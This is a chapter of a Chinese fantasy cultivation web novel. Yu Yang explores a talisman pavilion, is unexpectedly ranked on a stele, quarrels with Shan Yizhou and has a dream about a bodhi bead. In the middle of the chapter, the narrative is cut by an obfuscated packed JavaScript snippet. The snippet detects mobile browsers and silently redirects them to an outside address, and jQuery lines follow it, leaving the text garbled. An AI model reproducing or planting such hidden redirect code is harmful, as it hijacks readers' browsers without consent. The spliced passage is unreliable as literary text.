西青之境的符阁只有符修才能进,而天下所有愿意继续修炼的符修都在这里了,自然也就没人怀疑会有其他人溜进来。
符阁非常大,用各色钻晶石修筑的宫殿比寒怜峰还大好几倍,白天闪着耀目的光彩,夜晚也玲珑剔透美丽无比。
这里没有限制,只要是符修就可以进去。郁央很顺利地在门口的阵法里验证了符师身份之后,光明正大进去了。
池桥玉绝不会帮她,她要自己炼制降霄符。
符阁内木制曲径连着游廊,横栏由玉砌成,琼台玉阁一片接一片,绿藤绕梁,别有洞天。
头顶的牌匾上写着天师殿,郁央迈了进去。
殿内符书众多,郁央一个一个看过去,将那些符咒的画术记在心里。
她这副身体,有个新的特点,就是过目不忘。
一一扫过去,记了个大概,但是没有找到降霄符,她出了这个殿,旁边殿门大开,她缓缓走进去。
殿中心一片池塘,绕着四周摆满符书,她刚走出一步,就被屏障拦住。她看着屏障上的符,动手画了一张贴上去,才能继续走。
原来是这样,她不停向前走不停画符,难怪这个殿里没人,要求这么高。
刚刚那些符书她都记得清清楚楚,郁央走到最深处,抬头看见了上面摆的降霄符。
降霄符的纹路对她而言并不复杂,一眼就可以记住。但是根据旁边的符书,需要化界境高手集齐材料才可绘制。
也就是说,池桥玉现在都画不了这符。
不过来这么一趟,也是有收获的,她日后到了化界境,便可自行成符。
昨天与池桥玉打架的时候,体内的灵力暴动也伤到了自己。她如今修炼了不少符书,竟发现身体好多了。
估摸着这会是子时,她走出殿外,隔壁几座殿内还有不少弟子在制符。
延陵盛会后不久是西青之境本宗考核,弟子凭借考核得到灵石,这里只看实力。
在这群人里,禅林寺的弟子格外醒目。
那人注意到她的目光,走过来行了一礼:“郁姑娘,在下禅林寺三水,姑娘也来此欣赏符书吗?”
这人讲话倒有意思,把偷学颠倒成欣赏。不过郁央兴致缺缺,敷衍地应了:“嗯。”
“在下告辞。”
那小和尚没说几句话就跑了,看着年纪不大,还没有出家人的冷静自持。
西青之境中心是一座石碑,郁央御剑飞过,有点好奇,下去看了看,石碑上什么也没有,她往后退了两步。
石碑骤然亮起,像一面镜子,照出郁央的身体。同时,石碑上浮现出几个字—五阶符师。
不像是什么好东西,郁央刚想走,石碑上骤然浮现她的名字。
符师榜一百名—五阶符师郁央。
闯祸了,郁央御剑立刻飞走,下一刻西青之境内钟声敲响,一声一声摧人心智。
一刻钟后,西青之境弟子全部到齐,他们盯着榜上的名字,纷纷疑惑:“郁央是谁?今年新招的弟子吗?”
“没见过这个名字啊。”
池桥玉三人从天而降,他们行礼:“师姐。”
石碑上的名字非常眼熟,祝影重心知肚明她俩的关系,调侃池桥玉:“这位郁姑娘,符术上竟也如此精通。”
邹云醒还没睡醒,她眯着眼问:“谁?”
池桥玉的声音在月色下冷寂凛然:“既修符术,便该留在我西青之境。”
祝影重笑了,立刻附和:“那我便即刻修书,给苍水宗。”
池桥玉满意地补充:“记得写上,她是自愿的。”
邹云醒:?
郁央:?
她躲在树后,面前乌泱泱一片人群。等众人散去,她才御剑继续往山川院走。
苍水宗定然不会同意池桥玉那个荒唐的事,郁央现在最重要的是赶紧修炼,在延陵盛会拿下第一。
盛会的奖品,是她必须要得到的。
她回到山川院内,山亦洲在门外等着她。
阴魂不散。
郁央已经明白他的套路了,拒绝:“我今天不想打架。”
山亦洲脸色黑下来,他扔过来一瓶丹药:“你今天受伤了。”
郁央明白了,又来一个多管闲事的。
郁央向来奉行来者不拒的原则,毫无心里负担接下了。
她睫毛遮住眼睛,转身进了院,山亦洲跟上来。
郁央找了个椅子躺上去,闭眼:“你要我的血做什么?”
山亦洲看着她疲倦的神色,试探道:“我以为你清楚。”
郁央摇椅没停,只告诉他:“你要是没什么可说的就滚。”
油盐不进。
炸不出来就再炸,他挑眉:“难道不是你对我下了毒?”
?
郁央难得睁眼,以不可思议又嫌弃的目光看着他:“我为什么要对你下毒?”
山亦洲耳夹绯红,说的话却不可理喻:“谁知你存什么心思。”
郁央上下仔细打量了他一番,评价:“你还不配。”
平心而论,山亦洲这副皮囊可以说是世间罕有,但郁央可不想给他什么自信,尤其在他已经这么自信的前提下。
山亦洲这才是真被点燃了火气,他好一番闹腾:“我们族里都说我是最好看的,你就算不喜欢我也不能昧着良心说这种话来骗我?”
郁央又闭上了眼,老神在在:“大概你们族里没什么活着的人了。”
“你讲话真恶毒!”山亦洲指责她。
郁央不说话,心里却在想,这也叫恶毒?
过了一会,双方僵持不下,郁央看着气鼓鼓的炸毛山亦洲,问他:“不如把你的血给我。”
山亦洲眼神冰冷:“做事也恶毒!”
更恶毒的事她还没做呢。
郁央一剑挥出去,山亦洲退出了门外,她起手画了个阵法,将山亦洲挡在外面。
山亦洲再进不去了,他抬头,看来得换个方式,路凌怎么说的来着?温柔。
她回到这里已经很晚,直接在躺椅上睡着了。
西青之境的夜晚明月高照,山川院内偶有虫鸣,郁央睡着睡着,看见有个白衣锦袍少年在河边等她。
四周长满了青翠紫竹,溪水顺着石头往下流,水草被游动的鱼挤来挤去。
少年的脸朦胧模糊,景色倒是看的一清二楚。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206401|197360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>郁央沿着路走过去,他的声音敦厚如神,灌入她耳朵里:“这副身体怎么样?”
为什么这个人会知道自己的身体秘密?郁央的危机意识被挑动。
她抬头,想要离他再近一点,怎么也过不去。
少年的手里抓了些鱼饵,全都洒进水里。他的声音很温柔:“你既承担了菩提珠的因,也要承担它的果。”
郁央冷静道:“什么果?”
少年的白衣下摆被水打湿,可以听见他笑了两声:“万事万物皆有缘法,天道轮回,善恶有报。”
“你还记得,菩提珠怎么来的吗?”
闻言,郁央开始思考,她真的不清楚菩提珠从何而来。某一天开始,她的储物镯里就有了这颗珠子。
她也不知道自己真的会活下来,毕竟绝涯海是化尸水,人魔妖鬼都不能活。
“你且先回吧。”
最讨厌打哑谜吊人胃口,她想冲上前问清楚,却一下子睁眼醒过来。
天色已明,卯时了。
她抬手解除阵法,门一下子被撞开,一群人掉了进来。
郁央跟她们大眼瞪小眼。
燕眉许张开嘴巴,只开合两下,一点声音也发不出来。旁边的池桥玉神态自若走到郁央面前:“走吧,下山。”
郁央挑眉:“解开。”
池桥玉阴湿的目光落在郁央脸上,手指微动,燕眉许声音被放出来:“郁央!”
背后的常痕尽看着池桥玉,她是否欺人太甚。
池桥玉问郁央:“你想去哪里?”
郁央冷不丁想起小师姐的嘱托,歪了头:“阑珊城。”
池桥玉倒没有多大反应,她一下就明白郁央的意思了:“你想去抚桃殿?”
郁央并不作答,她起身回了房间,池桥玉跟上,燕眉许本来也想进去,被池桥玉一个眼神拦住了。
“真凶啊……”
燕眉许想到刚刚的禁言,心有余悸,身后的常痕尽过来,手搭上她的肩:“池桥玉真是欺人太甚。”
燕眉许怕她跟那天一样为自己去讨要说法,立刻安抚她:“我没事的,师姐,一切以大局为重。”
常痕尽拍拍她的肩:“我们走吧。”
燕眉许惊讶:“可是郁央……”
“依我之见,她不会伤害郁央了。”
常痕尽似乎是看出点什么,但没有明说,燕眉许神经大条。既然师姐这么说了,自己也不留下了。
她们二人跟后面的苍水宗弟子一同下山,今日她们要去岷川。那里养着许多闲散的炼器师,可以顺道淘一淘有没有好东西。
郁央收拾了一番,池桥玉一直在那边坐着,眼神却没从郁央身上移开。
郁央有种被毒蛇咬中的感觉。
池桥玉不经意问起:“延陵盛会后,你便留在西青之境做客如何?”
郁央替她接上:“留在这里等你把我从苍水宗除名吗?”
池桥玉满不在乎:“你昨晚没出来反对,那不就是同意吗?”
郁央想了想,怼她:“我可不需要一个连感情都左右的大师姐。”
池桥玉啧了一声,她挑眉:“魔族不是没有感情吗?”